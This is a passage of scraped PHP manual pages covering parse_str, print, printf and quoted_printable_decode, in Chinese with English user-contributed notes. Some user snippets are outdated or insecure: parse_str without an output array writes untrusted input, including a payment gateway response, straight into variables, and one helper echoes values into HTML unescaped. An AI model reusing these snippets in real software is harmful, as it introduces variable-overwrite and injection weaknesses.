lenix.de 10-Feb-2007 04:20
if you would like to get a nice url scheme with php/apache and and want to handle all requests in a central php script there's a simple solution/hack:

create a .htaccess in your "basedir" where you've got your main script (in this example index.php) containing some lines like:

"ErrorDocument 404 /index.php"

inside index.php you can now do

<?php
    $virtual_path = substr(
        $_SERVER['REQUEST_URI'],
        strlen( dirname( $_SERVER['PHP_SELF'] ) ) + 1
    );
    if( ($pos = strpos( $virtual_path, '?' )) !== false ) {
        parse_str( substr( $virtual_path, $pos + 1 ), $_GET );
        $_REQUEST = array_merge( $_REQUEST, $_GET );
        $virtual_path = substr( $virtual_path, 0, $pos );
    }

    // some code checking for a valid location, etc...
    header( 'HTTP/1.1 200 OK' );
    header( 'Content-Type: text/plain' );

    echo $virtual_path."\n\n";
    print_r( $_REQUEST );
?>

// guido 'lenix' boehm
jgbreezer at gmail dot com 31-Jan-2007 04:52
Vladimir Kornea wrote on 8 Sep 2006:
"This function is confused by ampersands (&) being encoded as HTML entities (&amp;)"

Well, it would be - it's not supposed to be passed html entities, that's a different encoding scheme. This function does correctly decode url encoded params for you though (with the rawurlencode rather than urlencode, ie '+' is translated to a space).
Olivier Mengué 07-Oct-2006 02:02
Vladimir: the function is OK in how it deals with &amp;.
&amp; must only be used when outputing URLs in HTML/XML data.
You should ask yourself why you have &amp; in your URL when you give it to parse_str.
Vladimir Kornea 08-Sep-2006 02:15
This function is confused by ampersands (&) being encoded as HTML entities (&amp;).

$str = "first=value&amp;arr[]=foo+bar&amp;arr[]=baz";
parse_str($str, $output);
print_r($output);

Array
(
    [first] => value
    [amp;arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )
)
PEPE_RIVAS at repixel dot net 28-Aug-2006 06:21
CONVERT ANY FORMATTED STRING INTO VARIABLES

I developed a online payment solution for credit cards using a merchant, and this merchant returns me an answer of the state of the transaction like this:

estado=1,txnid=5555444-8454445-4455554,monto=100.00

to have all that data into variables could be fine for me! so i use str_replace(), the problem is this function recognizes each group of variables with the & character... and i have  comma separated values... so i replace comma with &

<?php
$string = "estado=1,txnid=5555444-8454445-4455554,monto=100.00";
$string = str_replace(",","&",$string);
parse_str($string);
echo $monto; // outputs 100.00
?>
motin at demomusic dot nu 14-Apr-2006 06:13
When you have scripts run through the command-line (like locally via cron), you might want to be able to use _GET and _POST vars. Put this in top of your scheduled task files:

<?
    parse_str ($_SERVER['argv'][1], $GLOBALS['_GET']);
    parse_str ($_SERVER['argv'][2], $GLOBALS['_POST']);
?>

And call your script by:

/usr/local/bin/php /path/to/script.php "id=45&action=delete" "formsubmitted=true"

Cheers!
avi at amarcus dot com 03-Sep-2005 06:32
If you are trying to preserve a complex array, the function serialize might be better than http_build_query or other methods of making a query string.
Tore Bj?lseth 29-Jun-2005 05:59
As of PHP 5, you can do the exact opposite with http_build_query(). Just remember to use the optional array output parameter.

This is a very useful combination if you want to re-use a search string url, but also slightly modify it:

Example:
<?
$url1 = "action=search&interest[]=sports&interest[]=music&sort=id";
$str = parse_str($url1, $output);

// Modifying criteria:
$output['sort'] = "interest";

$url2 = http_build_query($output);

echo "<br>url1: ".$url1;
echo "<br>url2: ".$url2;
?>

Results in:
url1: action=search&interest[]=sports&interest[]=music&sort=id
url2: action=search&interest[0]=sports&interest[1]=music&sort=interest

(Array indexes are automatically created.)
kerosuppi 29-May-2005 09:22
This does not work as expected.

<?php
class someclass
{
    var $query_string;
    function someclass($a_query_string)
    {
        $this->query_string = $a_query_string;
        parse_str($this->query_string);
    }
    function output()
    {
        echo $this->action;
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>

Use this instead.

<?php
class someclass
{
    var $arr;
    function someclass($a_query_string)
    {
        parse_str($a_query_string, $this->arr);
    }
    function output()
    {
        echo $this->arr['action'];
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>
mortoray at ecircle-ag dot com 25-May-2005 12:18
In Kent's solution you may wish to switch "urldecode" into "rawurldecode" if you'd like to get rid of the [annoying] plus '+' converted to space ' ' translation.
kent at nospam dot ioflux dot com 06-May-2005 08:13
You may want to parse the query string into an array.

<?php
/**
 * Similar to parse_str. Returns false if the query string or URL is empty. Because we're not parsing to
 * variables but to array key entries, this function will handle ?[]=1&[]=2 "correctly."
 *
 * @return array Similar to the $_GET formatting that PHP does automagically.
 * @param string $url A query string or URL
 * @param boolean $qmark Find and strip out everything before the question mark in the string
*/
function parse_query_string($url, $qmark=true)
{
    if ($qmark) {
        $pos = strpos($url, "?");
        if ($pos !== false) {
            $url = substr($url, $pos + 1);
        }
    }
    if (empty($url))
        return false;
    $tokens = explode("&", $url);
    $urlVars = array();
    foreach ($tokens as $token) {
        $value = string_pair($token, "=", "");
        if (preg_match('/^([^\[]*)(\[.*\])$/', $token, $matches)) {
            parse_query_string_array($urlVars, $matches[1], $matches[2], $value);
        } else {
            $urlVars[urldecode($token)] = urldecode($value);
        }
    }
    return $urlVars;
}

/**
 * Utility function for parse_query_string. Given a result array, a starting key, and a set of keys formatted like "[a][b][c]"
 * and the final value, updates the result array with the correct PHP array keys.
 *
 * @return void
 * @param array $result A result array to populate from the query string
 * @param string $k The starting key to populate in $result
 * @param string $arrayKeys The key list to parse in the form "[][a][what%20ever]"
 * @param string $value The value to place at the destination array key
*/
function parse_query_string_array(&$result, $k, $arrayKeys, $value)
{
    if (!preg_match_all('/\[([^\]]*)\]/', $arrayKeys, $matches))
        return $value;
    if (!isset($result[$k])) {
        $result[urldecode($k)] = array();
    }
    $temp =& $result[$k];
    $last = urldecode(array_pop($matches[1]));
    foreach ($matches[1] as $k) {
        $k = urldecode($k);
        if ($k === "") {
            $temp[] = array();
            $temp =& $temp[count($temp)-1];
        } else if (!isset($temp[$k])) {
            $temp[$k] = array();
            $temp =& $temp[$k];
        }
    }
    if ($last === "") {
        $temp[] = $value;
    } else {
        $temp[urldecode($last)] = $value;
    }
}

/**
* Breaks a string into a pair for a common parsing function.
*
* The string passed in is truncated to the left half of the string pair, if any, and the right half, if anything, is returned.
*
* An example of using this would be:
* <code>
* $path = "Account.Balance";
* $field = string_pair($path);
*
* $path is "Account"
* $field is "Balance"
*
* $path = "Account";
* $field = string_pair($path);
*
* $path is "Account"
* $field is false
* </code>
*
* @return string The "right" portion of the string is returned if the delimiter is found.
* @param string $a A string to break into a pair. The "left" portion of the string is returned here if the delimiter is found.
* @param string $delim The characters used to delimit a string pair
* @param mixed $default The value to return if the delimiter is not found in the string
* @desc
*/
function string_pair(&$a, $delim='.', $default=false)
{
    $n = strpos($a, $delim);
    if ($n === false)
        return $default;
    $result = substr($a, $n+strlen($delim));
    $a = substr($a, 0, $n);
    return $result;
}

?>
anatilmizun at gmail dot com 12-Oct-2004 04:10
I wrote a pair of functions using parse_str() that will write values in an array to a textfile and vice versa, read those values from the textfile back into the array. Quite useful if you need to store lots of data but don't have access to SQL.

Save the array by calling cfg_save($filename,$array) and load it back using $array=cfg_load($filename)

<?php
$newline="?";

function cfg_load($cfgfile){
    global $newline;
    $setting="";
    if(file_exists($cfgfile)){
        $setting=fopen($cfgfile, "r");
        $ookk="";
        while($ook=fgets($setting)){
            #strip comment
            $commt=strpos($ook,"##");
            if($commt!==false) $ook=substr($ook,0,$commt);
            #append
            if($ook!="") $ookk=$ookk."&".    str_replace($newline,"\n",str_replace("&","%26",trim($ook)));
        }
        fclose($setting);
        parse_str($ookk, $setting);
    }
    return $setting;
}

function cfg_save($cfgfile,$setting){
    global $intArray;
    $intArray="";
    for($i=0;$i<2000;$i++)
        $intArray[]=$i;
    if(is_array($setting)){
        $allkeys=array_keys($setting);
        foreach($allkeys as $aKey)
            cfg_recurse($setting[$aKey], $aKey, $outArray);
    }
    $cfgf=fopen($cfgfile,"w");
    foreach($outArray as $aLine)
        fputs($cfgf,stripslashes($aLine)."\r\n");
    fclose($cfgf);
}

function cfg_recurse($stuffIn, $keysofar, &$toAppend){
    global $intArray, $newline;
    if(is_array($stuffIn)){
        $allkeys=array_keys($stuffIn);
        if(array_slice($intArray,0,sizeof($allkeys))==$allkeys)
            $nokey=true;
        else
            $nokey=false;
        foreach($allkeys as $aKey){
            if(!$nokey) $toKey=$aKey;
            cfg_recurse($stuffIn[$aKey], $keysofar."[".$toKey."]", $toAppend);
        }
    }else
        $toAppend[]=$keysofar."=".str_replace("\n",$newline,$stuffIn);
}
?>

Note that these functions support nested arrays of unlimited levels ;)


输出字符串

  • ? parse_str
  • printf ?
  • PHP Manual
  • 字符串 函数
  • 输出字符串

print

(PHP 4, PHP 5, PHP 7, PHP 8)

print — 输出字符串

说明

print(string $expression): int

输出 expression。

print 不是函数而是语言结构。它的参数是跟在 print 关键字后面的表达式，并且不用括号分割。

和 echo 最主要的区别是 print 仅接受一个参数，并始终返回 1。

参数

expression

要输出的表达式。即使启用 strict_types 指令，非字符串也会强制转换为字符串。

返回值

总是返回 1。

示例

Example #1 print 示例

<?php
print "print does not require parentheses.";

// 不会新增新行或者空格；下面会在一行中输出"helloworld"
print "hello";
print "world";

print "This string spans
multiple lines. The newlines will be
output as well";

print "This string spans\nmultiple lines. The newlines will be\noutput as well.";

// 参数可以是任何生成字符串的表达式
$foo = "example";
print "foo is $foo"; // foo is example

$fruits = ["lemon", "orange", "banana"];
print implode(" and ", $fruits); // lemon and orange and banana

// 即使使用了 declare(strict_types=1)，非字符串表达式也会强制转换为字符串
print 6 * 7; // 42

// 因为 print 有返回值，所以可以在如下表达式中使用
// 以下输出"hello world"
if ( print "hello" ) {
echo " world";
}

// 以下输出"true"
( 1 === 1 ) ? print 'true' : print 'false';
?>

注释

Note: 使用括号

用括号括住 print 的参数并不会引发语法错误，而且会产生看起来像是普通函数调用的语法。然而，这可能会产生误导，因为括号实际上是输出表达式的一部分，而非 print 语法本身的一部分。

<?php
print "hello";
// 输出"hello"

print("hello");
// 也会输出"hello"，因为 ("hello") 是有效的表达式

print(1 + 2) * 3;
// 输出"9"；会首先对括号内的 1+2 进行求值，然后是 3*3
// print 语句会将整个表达式视为一个参数

if ( print("hello") && false ) {
print " - inside if";
}
else {
print " - inside else";
}
// 输出" - inside if"
// 首先对表达式 ("hello") && false 求值， false
// 强制转换为空字符串""且打印 print
// 结构，然后返回 1，所以运行 if 块中代码
?>

当在大表达式中使用 print 时，需要将关键字及其参数放在括号中以便得出预期的结果：

<?php
if ( (print "hello") && false ) {
print " - inside if";
}
else {
print " - inside else";
}
// 输出"hello - inside else"
// 跟上个示例不同，首先对表达式 (print "hello") 求值
// 输出"hello"之后，print 返回 1
// 由于 1 && false 为 false，因此运行 else 块中代码

print "hello " && print "world";
// 输出"world1"；首先对 print "world" 求值，
// 然后表达式 "hello " && 1 传递给左侧的 print

(print "hello ") && (print "world");
// 输出"hello world"；括号强制 print 表达式
// 在 && 之前求值
?>

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

参见

  • echo - 输出一个或多个字符串
  • printf() - 输出格式化字符串
  • flush() - 刷新系统输出缓冲区
  • 指定字面字符串的方式

User Contributed Notes

mark at manngo dot net 05-Sep-2023 04:34
The other major difference with echo is that print returns a value, even it's always 1.

That might not look like much, but you can use print in another expression. Here are some examples:

<?php
    rand(0,1) ? print 'Hello' : print 'goodbye';
    print PHP_EOL;
    print 'Hello ' and print 'goodbye';
    print PHP_EOL;
    rand(0,1) or print 'whatever';
?>

Here's a more serious example:

<?php
    function test() {
        return !!rand(0,1);
    }
    test() or print 'failed';
?>
user at example dot net 25-Aug-2008 09:45
Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required.
In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited.

Most would expect the following behavior:
<?php
    if (print("foo") && print("bar")) {
        // "foo" and "bar" had been printed
    }
?>

But since the parenthesis around the argument are not required, they are interpretet as part of the argument.
This means that the argument of the first print is

    ("foo") && print("bar")

and the argument of the second print is just

    ("bar")

For the expected behavior of the first example, you need to write:
<?php
    if ((print "foo") && (print "bar")) {
        // "foo" and "bar" had been printed
    }
?>
danielxmorris @ gmail dotcom 16-May-2008 04:08
I wrote a println function that determines whether a \n or a <br /> should be appended to the line depending on whether it's being executed in a shell or a browser window.  People have probably thought of this before but I thought I'd post it anyway - it may help a couple of people.

<?php
function println ($string_message) {
    $_SERVER['SERVER_PROTOCOL'] ? print "$string_message<br />" : print "$string_message\n";
}
?>

Examples:

Running in a browser:

<?php println ("Hello, world!"); ?>
Output: Hello, world!<br />

Running in a shell:

<?php println ("Hello, world!"); ?>
Output: Hello, world!\n


输出格式化字符串

  • ? print
  • quoted_printable_decode ?
  • PHP Manual
  • 字符串 函数
  • 输出格式化字符串

printf

(PHP 4, PHP 5, PHP 7, PHP 8)

printf — 输出格式化字符串

说明

printf(string $format, mixed ...$values): int

依据 format 格式参数产生输出。

参数

format

format 字符串通常由零或多个指令组成：普通字符（不包含 %）——直接复制到结果，转换规范——获取每个参数的结果。

转换规范遵循此原型： %[argnum$][flags][width][.precision]specifier.

Argnum

整数后跟美元符号 $，用于指定转换中要处理的参数数量。

标志
标志 | 说明
- 在指定字段宽度时左对齐，默认右对齐
+ 正数的加号 +前缀，默认负数的前缀是负号。
(space) | 空格填充结果。这是默认设置。
0 | 仅用 0 进行左侧数字填充。使用 s 标志符可以右侧填充。
'(char) | 用字符（char）填充结果。

Width

要么是整数，表示转换结果应该有多少个字符（最少），要么是 *。如果使用 *，那么宽度将作为额外的整数值提供，位于格式化符号之前。

Precision

小数点 .，可选的后跟整数或者 *，其含义取决于格式化符号：

  • e、E、f、F 标志符：小数点后需要打印的位数（默认是 6）。
  • g、G、h、H 标志符：这是要打印的最大有效位数。
  • s 标志符：充当分界点，为字符串设置最大字符限制。

Note: 如果小数点没有明确的精度值，则假设是 0。如果使用 *，则精度将作为额外的整数值提供，位于格式化符号之前。

标志符
标志符 | 说明
% 字面意思的百分号字符。不需要参数。
b | 参数视为整数并以二进制数字呈现。
c | 参数视为整数并以 ASCII 字符呈现。
d | 参数视为整数并以（有符号）十进制数字呈现。
e | 参数当做科学符号处理（例如 1.2e+2）。
E | 与 e 标志符相同，但使用大写字母（例如 1.2E+2）。
f | 参数当做浮点数处理且作为浮点数呈现（locale aware）。
F | 参数当做浮点数处理且作为浮点数呈现（non-locale aware）。
g

通用格式。

Let P equal the precision if nonzero, 6 if the precision is omitted, or 1 if the precision is zero. Then, if a conversion with style E would have an exponent of X:

If P > X ≥ ?4, the conversion is with style f and precision P ? (X + 1). Otherwise, the conversion is with style e and precision P ? 1.

G | Like the g specifier but uses E and f.
h | Like the g specifier but uses F. Available as of PHP 8.0.0.
H | Like the g specifier but uses E and F. Available as of PHP 8.0.0.
o | 参数视为整数并以八进制数字来呈现。
s | 参数视为字符串来呈现。
u | 参数视为整数并以无符号十进制数字呈现。
x | 参数视为整数并作为十六进制数字呈现（带小写字母）。
X | 参数视为整数并作为十六进制数字呈现（带大写字母）。

Warning

c 类型标志符忽略填充和宽度

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

变量将会强制转换为适合标志符的类型：

类型处理
类型 | 标志符
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

返回值

返回输出字符串的长度。

错误／异常

从 PHP 8.0.0 开始，如果参数个数为零，将抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [width] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [precision] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，当传递的参数少于所需的参数时会抛出 ArgumentCountError。在 PHP 8.0.0 之前，返回 false 并发出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 此函数失败时不再返回 false。
8.0.0 | 如果参数个数为零则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [width] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [precision] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 当传递的参数少于所需的参数时抛出 ArgumentCountError；以前该函数则会发出 E_WARNING。

示例

Example #1 printf()：多种 format 格式的示例

<?php
$n = 43951789;
$u = -43951789;
$c = 65; // ASCII 65 is 'A'

// 注意两个 %% 的情况，这会打印一个字面上的 '%' 字符
printf("%%b = '%b'\n", $n); // 二进制表示
printf("%%c = '%c'\n", $c); // 打印 ascii 字符，与 chr() 函数相同
printf("%%d = '%d'\n", $n); // 标准整数表示
printf("%%e = '%e'\n", $n); // 科学计数法
printf("%%u = '%u'\n", $n); // 无符号正整数表示
printf("%%u = '%u'\n", $u); // 无符号负整数表示
printf("%%f = '%f'\n", $n); // 浮点数表示
printf("%%o = '%o'\n", $n); // 八进制表示
printf("%%s = '%s'\n", $n); // 字符串表示
printf("%%x = '%x'\n", $n); // 十六进制表示（小写）
printf("%%X = '%X'\n", $n); // 十六进制表示（大写）

printf("%%+d = '%+d'\n", $n); // 正整数上的符号说明符
printf("%%+d = '%+d'\n", $u); // 负整数上的符号说明符
?>

以上示例会输出：

%b = '10100111101010011010101101'
%c = 'A'
%d = '43951789'
%e = '4.39518e+7'
%u = '43951789'
%u = '4251015507'
%f = '43951789.000000'
%o = '247523255'
%s = '43951789'
%x = '29ea6ad'
%X = '29EA6AD'
%+d = '+43951789'
%+d = '-43951789'

Example #2 printf()：字符串说明符

<?php
$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n", $s); // 标准字符串输出
printf("[%10s]\n", $s); // 带空格的右对齐
printf("[%-10s]\n", $s); // 带空格的左对齐
printf("[%010s]\n", $s); // 零填充也适用于字符串
printf("[%'#10s]\n", $s); // 使用自定义填充字符"#"
printf("[%'#*s]\n", 10, $s); // 提供填充的宽度作为附加参数
printf("[%10.9s]\n", $t); // 右对齐，但截断 8 个字符
printf("[%-10.9s]\n", $t); // 左对齐，但截断 8 个字符
?>

以上示例会输出：

[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[####monkey]
[ many monk]
[many monk ]

参见

  • print - 输出字符串
  • sprintf() - 返回格式化字符串
  • fprintf() - 将格式化后的字符串写入到流
  • vprintf() - 输出格式化字符串
  • vsprintf() - 返回格式化字符串
  • vfprintf() - 将格式化字符串写入流
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化 Unix 时间戳
  • flush() - 刷新系统输出缓冲区

User Contributed Notes

Mario M. Junior 21-Aug-2022 10:32
To provide a more user-friendly interface, you can use colors when printing text in the terminal.

p('Ordinary text.');
p('Warning: Check this out...', 'info');
p('Ops! Something went wrong.', 'error');
p('Yeah... done!', 'success');

function p($text, $style = '', $newLine = true) {

    $styles = array(
        'success' => "\033[0;32m%s\033[0m",
        'error'   => "\033[31;31m%s\033[0m",
        'info'    => "\033[33;33m%s\033[0m",

        'Black'    => "\033[0;30m%s\033[0m",
        'Red'      => "\033[0;31m%s\033[0m",
        'Green'    => "\033[0;32m%s\033[0m",
        'Yellow'   => "\033[0;33m%s\033[0m",
        'Blue'     => "\033[0;34m%s\033[0m",
        'Purple'   => "\033[0;35m%s\033[0m",
        'Cyan'     => "\033[0;36m%s\033[0m",
        'Gray'     => "\033[0;37m%s\033[0m",
        'Graphite' => "\033[1;30m%s\033[0m",

        'Bold Red'    => "\033[1;31m%s\033[0m",
        'Bold Green'  => "\033[1;32m%s\033[0m",
        'Bold Yellow' => "\033[1;33m%s\033[0m",
        'Bold Blue'   => "\033[1;34m%s\033[0m",
        'Bold Purple' => "\033[1;35m%s\033[0m",
        'Bold Cyan'   => "\033[1;36m%s\033[0m",
        'Bold White'  => "\033[1;37m%s\033[0m",

        'Bg Black'  => "\033[40;1;37m%s\033[0m",
        'Bg Red'    => "\033[41;1;37m%s\033[0m",
        'Bg Green'  => "\033[42;1;37m%s\033[0m",
        'Bg Yellow' => "\033[43;1;37m%s\033[0m",
        'Bg Blue'   => "\033[44;1;37m%s\033[0m",
        'Bg Purple' => "\033[45;1;37m%s\033[0m",
        'Bg Cyan'   => "\033[46;1;37m%s\033[0m",
        'Bg Gray'   => "\033[47;1;37m%s\033[0m",

        'Underscore' => "\033[4;37m%s\033[0m",
        'Inverted'   => "\033[7;37m%s\033[0m",
        'Blink'      => "\033[5;37m%s\033[0m",
    );

    $format = '%s';

    if (isset($styles[$style])) {
        $format = $styles[$style];
    }

    if ($newLine) {
        $format .= PHP_EOL;
    }

    printf($format, $text);
}
steve at myschoolsystems dot com 08-Jul-2021 02:47
To format a dollar value as in $123.00 that may otherwise look like $123  use this

print ('$');                    // the dollar sign in front of our answer
printf ('%.2f',$price);
RS 12-Jul-2016 07:20
If your missing features such as "-"*100 to print a single character multiple times you can use the slightly longer and less readable PHP equivalent printf("%'-100s",""); and sprint("%'-100s","").
creating dot www at gmail dot com 18-Mar-2015 01:29
Why rounding is not same as for round()?

Try this code:

<?php
printf("%.02lf\n", 1.035);
printf("%.02lf\n", round(1.035, 2));
?>
Result:
1.03
1.04

In my opion it should be:
1.04
1.04

Why is that?
spiffytech at gmail dot com 15-Feb-2012 09:11
Be careful when relying on typecasting with printf(). For example,

    printf("%d", "17,999")

returns "17".
kalai_msc29 at rediffmail dot com 29-Mar-2007 11:04
//If you want to make many Hidden fields you can use the function
//You can pass the values as array value,This will help you, when you are going to post many hiddend fields:-
function MakeHidden($ArrValues)
    {
       global $dearvar;
       echo $dearvar;
       if(is_array($ArrValues)){
             foreach($ArrValues as $key=>$values)
              {
                 echo $MakeHTML = "<input type='hidden' name='$values' value='$values'>";
               }
      }

      else {
            echo $MakeHTML = "<input type='hidden' name='$ArrValues' value='$ArrValues'>";
         }
   return $MakeHTML;
}

//example:-

MakeHidden(array("value1","value2","value3"));

//OutPut :-

<input type="hidden" value="value1" name="value1"/>
<input type="hidden" value="value2" name="value2"/>
<input type="hidden" value="value3" name="value3"/>
php at mole dot gnubb dot net 10-Apr-2005 06:15
[Editor's Note: Or just use vprintf...]

If you want to do something like <?php printf('There is a difference between %s and %s', array('good', 'evil')); ?> (this doesn't work)  instead of <?php printf('There is a difference between %s and %s', 'good', 'evil'); ?> you can use this function:

<?php
function printf_array($format, $arr)
{
    return call_user_func_array('printf', array_merge((array)$format, $arr));
}
?>

Use it the following way:
<?php
$goodevil = array('good', 'evil');
printf_array('There is a difference between %s and %s', $goodevil);
?>
and it will print:
There is a difference between good and evil
codeslinger at compsalot dot com 30-Jan-2005 08:24
Several people have commented about problems with aligning numbers.  I just wanted to add a bit of clarification.

According to the spec all True Type Fonts (especially porpotional spaced fonts) use a fixed width for numeric digits.  All digits have the same width which is equal to the width of "0".

Where things go haywire when trying to align numbers is that the space character does not have the same width as a digit when using a porportional spaced font.

Therefore if you want to line up a column of numbers, you can not use leading spaces to position them unless you use the same quantity of space characters for each row. e.g. your numbers have leading zeros etc.

The simplest solution is to switch to a monospaced font.  Alternativly you can use positioning tags.

Summary: Your numbers will always line up properly regardless of the font used, if you get the starting position to be consistant.
lordfarquaad at notredomaine dot net 03-Mar-2004 06:48
In response to chris dot breen at accurate dot com :

This will work, but i didn't try:
<?php
$format = 'The %2$s contains %1$d monkeys.
         That is a nice %2$s full of %1$d monkeys.';
printf($format, $num, $location);
?>

Your problem came from the fact that in the string "\$s", the $ is simply escaped by the \, but but you must not do that with single quoted strings. Try to echo your strings to test it, or just go to http://www.php.net/manual/en/language.types.string.php
eugenew at starhub dot net dot sg 20-Dec-2002 09:13
If anyone is looking for writing a quine using printf(),
this is my example:

<?php $f='<?php $f=%c%s%c; printf($f,39,$f,39); ?>'; printf($f,39,$f,39); ?>

This also helps those who are new to printf() see one way of using the 'mixed args' part, rather than just a single argument as in most examples I've seen.
dalu at uni SPAMHAM dot de 10-Dec-2002 10:43
copypasted from msdn

A format specification, which consists of optional and required fields, has the following form:

%[flags] [width] [.precision] [{h | l | I64 | L}]type

Each field of the format specification is a single character or a number signifying a particular format option. The simplest format specification contains only the percent sign and a type character (for example, %s). If a percent sign is followed by a character that has no meaning as a format field, the character is copied to stdout. For example, to print a percent-sign character, use %%.

The optional fields, which appear before the type character, control other aspects of the formatting, as follows:

type
Required character that determines whether the associated argument is interpreted as a character, a string, or a number (see the printf Type Field Characters table.
flags
Optional character or characters that control justification of output and printing of signs, blanks, decimal points, and octal and hexadecimal prefixes (see the Flag Characters table). More than one flag can appear in a format specification.
width
Optional number that specifies the minimum number of characters output (see printf Width Specification).
precision
Optional number that specifies the maximum number of characters printed for all or part of the output field, or the minimum number of digits printed for integer values (see the How Precision Values Affect Type table).
h | l | I64 | L
Optional prefixes to type-that specify the size of argument (see the Size Prefixes for printf and wprintf Format-Type Specifiers table).
sam[NOSPAM] at [NOSPAM]kingdomfaith dot com 28-Jun-2002 12:45
I don't know if this is useful to anyone, but here goes! Example for using the printf function to output an object.

class person
{
    var $name = "";
    function name($newname = NULL)
    {
        if(! is_null($newname))
        {
            $this->name=$newname;
        }
        return $this->name;
    }
    var $surname = "";
    function surname($newsurname = NULL)
    {
        if(! is_null($newsurname))
        {
            $this->surname=$newsurname;
        }
        return $this->surname;
    }
    var $age = "";
    function age($newage = NULL)
    {
        if(! is_null($newage))
        {
            $this->age=$newage;
        }
        return $this->age;
    }
}

$bob = new person;
$bob->name('Bob');
$bob->surname('Builder');
$bob->age('50');

printf("Hi %s, your surname is %s and you are %s years old", $bob->name, $bob->surname, $bob->age);

Outputs:

Hi Bob, your surname is Builder and you are 50 years old
maybird99 at yahoo dot com 26-Feb-2002 07:20
instead of writing a function to round off a float (let's call it 'x') accurately, it's much easier to add a small number to x and then truncate it...
For example: if you want to round off to the nearest integer, just add 0.5 to x and then truncate it. if x=12.6, then it would calculate 13.1, and truncate it to 13. If x=14.4, it would calculate 14.9 and truncate it to 14.
ezislis at mail dot ru 09-Feb-2002 07:25
be careful with integers, they cant hold large values.

printf("%d",10023123553.45634663);
will print out: 1433188961
and
printf("%.0f",10023123553.45634663);
will print out: 10023123553
deekayen at hotmail dot com 11-Oct-2001 05:54
You can use this function to format the decimal places in a number:

$num = 2.12;
printf("%.1f",$num);

prints:

2.1

see also: number_format()
shepard at ameth dot org 17-Sep-2001 07:37
Be sure that the output channel is available to write on before executing printf()!  Some functions in classes available from various sources (in my case, DB_Sql::query() in PHPLIB) assume that printing will work, even after the default output stream has been closed.

For me the issue was most notable in PHP4 session management when I was creating my own sess_write() handler.  Since I was unable to find any function that checks for the output stream that printf() uses, I just had to drop the crazy use of the printf(). (does some function already exist to check for the presence of an output stream?)
dhosek at excite dot com 05-Dec-1999 02:27
Be careful:
printf ("(9.95 * 100) = %d \n", (9.95 * 100));

'994'

First %d converts a float to an int by truncation.

Second floats are notorious for tiny little rounding errors.


将 quoted-printable 字符串转换为 8-bit 字符串

  • ? printf
  • quoted_printable_encode ?
  • PHP Manual
  • 字符串 函数
  • 将 quoted-printable 字符串转换为 8-bit 字符串

quoted_printable_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

quoted_printable_decode — 将 quoted-printable 字符串转换为 8-bit 字符串

说明

quoted_printable_decode(string $string): string

该函数返回 8 位二进制字符串，对应解码后的带引号可打印的字符串（参考 » RFC2045 的 6.7 章节，而不是 » RFC2821 的 4.5.2 章节，因此不会去除行首的附加句号）。

该函数与 imap_qprint() 函数十分相似，但是该函数不需要依赖 IMAP 模块。

参数

string

输入的字符串。

返回值

返回的 8-bit 二进制字符串。

示例

Example #1 quoted_printable_decode() 示例

<?php

$encoded = quoted_printable_encode('M?chten Sie ein paar ?pfel?');

var_dump($encoded);
var_dump(quoted_printable_decode($encoded));
?>

以上示例会输出：

string(37) "M=C3=B6chten Sie ein paar =C3=84pfel?"
string(29) "M?chten Sie ein paar ?pfel?"

参见

  • quoted_printable_encode() - 将 8-bit 字符串转换成 quoted-printable 字符串

User Contributed Notes

jab_creations at yahoo dot com 28-Nov-2020 08:01
If you're getting black diamonds or weird characters that seemingly block an echo but still encounter strlen($string) > 0 you're probably encountering an encoding issue. Unlike the people writing ENCODE functions on a DECODE page I will actually talk about DECODE on a DECODE page.

The specific problem I encountered was that an email was encoded using a Russian encoding (KOI8-R) though I output everything as UTF-8 because: compatibility.

If you try to do this with a Russian encoding:

<?php
echo quoted_printable_decode('=81');
?>

You'll get that corrupted data.

I did a couple of tests and it turns out the following is how you nest the mb_convert_encoding function:

<?php
echo '<p>Test: "'.mb_convert_encoding(quoted_printable_decode('=81'), 'UTF-8', 'KOI8-R').'".</p>';
?>

Unfortunately I could not find a character mapping table or anything listed under RFC 2045 Section 6.7. However I came across the website https://dencode.com/en/string/quoted-printable which allows you to manually choose the encoding (it's an open source site, they have a GIT repository for the morbidly curious).

As it turns out the start of the range is relative to the encoding. So Latin (ISO-8859-1) and Russian (KOI8-R) will likely (not tested this) encode to different characters **relative to the string encoding**.
naitsirch at e dot mail dot de 25-May-2020 02:31
If there is a NULL byte in the string that is passed, quoted_printable_decode will crop everything after the NULL byte and the NULL byte itself.

<?php
$result = quoted_printable_decode("This is a\0 test.");
// $result === 'This is a'
?>

This is not a bug, but the intended behaviour and defined by RFC 2045 (see https://www.ietf.org/rfc/rfc2045.txt) in paragraph 2.7 and 2.8.
sven at e7o dot de 06-Dec-2019 12:13
If you're really lazy and producing HTML anyways and the end, just convert it to HTML entities and move the Unicode/ISO struggling to the document's encoding:

<?php
function qpd($e)
{
    return preg_replace_callback(
        '/=([a-z0-9]{2})/i',
        function ($m) {
            return '&#x00' . $m[1] . ';';
        },
        $e
    );
}
?>
yual at inbox dot ru 23-Oct-2013 08:38
I use a hack for this bug:

